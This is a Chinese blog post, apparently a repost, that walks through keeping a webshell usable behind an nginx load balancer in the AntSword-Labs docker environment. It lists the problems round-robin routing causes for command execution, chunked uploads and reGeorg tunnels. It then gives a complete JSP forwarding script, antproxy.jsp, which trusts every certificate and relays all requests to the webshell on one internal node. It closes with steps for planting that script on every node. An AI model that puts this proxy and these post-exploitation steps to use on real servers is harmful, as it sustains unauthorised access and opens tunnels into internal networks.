当前位置:   article > 正文

负载均衡反向代理下的webshell上传_antsword labs

antsword labs

目录

架构如下:

实验环境:AntSword-Labshttps://github.com/AntSwordProject/AntSword-Labs

搭建环境:

启动环境:

 测试连接:

地址不停的在漂移会造成的问题:

难点一:我们需要在每一台节点的相同位置都上传相同内容的 WebShell:

难点二:我们在执行命令时,无法知道下次的请求交给哪台机器去执行。

难点三:当我们需要上传一些工具时,麻烦来了:

难点四:由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

解决方案:

一:关掉其中一台机器

二:执行前先判断要不要执行

三: 在Web 层做一次 HTTP 流量转发 (重点)

具体操作:


架构如下:

假定业务中存在RCE漏洞,上传了 WebShell 之后, 因为负载均衡的存在, 导致后续上传的工具、执行命令等操作出现不连续的情况。

演示环境中, LBSNode1 和 LBSNode2 均存在位置相同的 Shell: ant.jsp【LBSNode1和LBSNode2 无法访问外网

Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。 我们只能通过 nginx 这台机器访问。nginx 的配置如下:

实验环境:
AntSword-Labshttps://github.com/AntSwordProject/AntSword-Labs

搭建环境:

docker-compose build 

启动环境:

docker-compose up -d

 测试连接:

 用 "hostname -i" 发现地址不停的在漂移

地址不停的在漂移会造成的问题:

难点一:我们需要在每一台节点相同位置都上传相同内容的 WebShell:

一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用。是的,这就是你出现一会儿正常,一会儿错误的原因。

难点二:我们在执行命令时,无法知道下次的请求交给哪台机器去执行

我们执行 ifconfig 查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,就让你好好体验一波什么叫飘乎不定。

难点三:当我们需要传一些工具时,麻烦来了

由于 antSword 上传文件时,采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法

难点四:由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

解决方案:

一:掉其中一台机器

这个方案影响业务,还会造成灾难,直接 Pass 不考虑。真实环境下千万不要尝试!!!!

二:执行前先判断要不要执行

我们既然无法预测下一次是哪台机器去执行,那我们的 Shell 在执行 Payload 之前,先判断一下要不要执行:

  1. MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`
  2. echo $MYIP

 这样一来,确实是能够保证执行的命令是在我们想要的机器上了,可是这样执行命令,不够丝滑,一点美感都没有。另外,上传文件、HTTP 隧道 这些要怎么解决?

三: Web 层做一次 HTTP 流量转发 (重点)

没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。

我们的目的是:所有的数据包都能发给「LBSNode 1」这台机器。

首先是 第 1 步,我们请求 /antproxy.jsp,这个请求发给 nginx

nginx 接到数据包之后,会有两种情况:

第 2 步把请求传递给了目标机器,请求了 Node1 机器上的 /antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。

第 2 步把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。

具体操作:

1.创建 antproxy.jsp 脚本

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="javax.net.ssl.*" %>
  3. <%@ page import="java.io.ByteArrayOutputStream" %>
  4. <%@ page import="java.io.DataInputStream" %>
  5. <%@ page import="java.io.InputStream" %>
  6. <%@ page import="java.io.OutputStream" %>
  7. <%@ page import="java.net.HttpURLConnection" %>
  8. <%@ page import="java.net.URL" %>
  9. <%@ page import="java.security.KeyManagementException" %>
  10. <%@ page import="java.security.NoSuchAlgorithmException" %>
  11. <%@ page import="java.security.cert.CertificateException" %>
  12. <%@ page import="java.security.cert.X509Certificate" %>
  13. <%!
  14. public static void ignoreSsl() throws Exception {
  15. HostnameVerifier hv = new HostnameVerifier() {
  16. public boolean verify(String urlHostName, SSLSession session) {
  17. return true;
  18. }
  19. };
  20. trustAllHttpsCertificates();
  21. HttpsURLConnection.setDefaultHostnameVerifier(hv);
  22. }
  23. private static void trustAllHttpsCertificates() throws Exception {
  24. TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
  25. public X509Certificate[] getAcceptedIssuers() {
  26. return null;
  27. }
  28. @Override
  29. public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
  30. // Not implemented
  31. }
  32. @Override
  33. public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
  34. // Not implemented
  35. }
  36. } };
  37. try {
  38. SSLContext sc = SSLContext.getInstance("TLS");
  39. sc.init(null, trustAllCerts, new java.security.SecureRandom());
  40. HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
  41. } catch (KeyManagementException e) {
  42. e.printStackTrace();
  43. } catch (NoSuchAlgorithmException e) {
  44. e.printStackTrace();
  45. }
  46. }
  47. %>
  48. <%
  49. String target = "http://172.18.0.2:8080/ant.jsp";
  50. URL url = new URL(target);
  51. if ("https".equalsIgnoreCase(url.getProtocol())) {
  52. ignoreSsl();
  53. }
  54. HttpURLConnection conn = (HttpURLConnection)url.openConnection();
  55. StringBuilder sb = new StringBuilder();
  56. conn.setRequestMethod(request.getMethod());
  57. conn.setConnectTimeout(30000);
  58. conn.setDoOutput(true);
  59. conn.setDoInput(true);
  60. conn.setInstanceFollowRedirects(false);
  61. conn.connect();
  62. ByteArrayOutputStream baos=new ByteArrayOutputStream();
  63. OutputStream out2 = conn.getOutputStream();
  64. DataInputStream in=new DataInputStream(request.getInputStream());
  65. byte[] buf = new byte[1024];
  66. int len = 0;
  67. while ((len = in.read(buf)) != -1) {
  68. baos.write(buf, 0, len);
  69. }
  70. baos.flush();
  71. baos.writeTo(out2);
  72. baos.close();
  73. InputStream inputStream = conn.getInputStream();
  74. OutputStream out3=response.getOutputStream();
  75. int len2 = 0;
  76. while ((len2 = inputStream.read(buf)) != -1) {
  77. out3.write(buf, 0, len2);
  78. }
  79. out3.flush();
  80. out3.close();
  81. %>

修改转发地址,转向目标 Node 的 内网IP的 目标脚本 访问地址。

注意:不仅仅是 WebShell 哟,还可以改成 reGeorg 等脚本的访问地址。

我们将 target 指向了 LBSNode1 的 ant.jsp

注意:

a) 不要使用上传功能,上传功能会分片上传,导致分散在不同 Node 上。

b) 要保证每一台 Node 上都有相同路径的 antproxy.jsp, 所以我疯狂保存了很多次,保证每一台都上传了脚本

 多上传几次就成功了:【上传路径:/usr/local/tomcat/webapps/ROOT】

 2. 修改 Shell 配置, 将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变

 3. 测试执行命令, 查看 IP

可以看到 IP 已经固定, 意味着请求已经固定到了 LBSNode1 这台机器上了。此时使用分片上传、HTTP 代理,都已经跟单机的情况没什么区别了。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/秋刀鱼在做梦/article/detail/736563
推荐阅读
相关标签
  

闽ICP备14008679号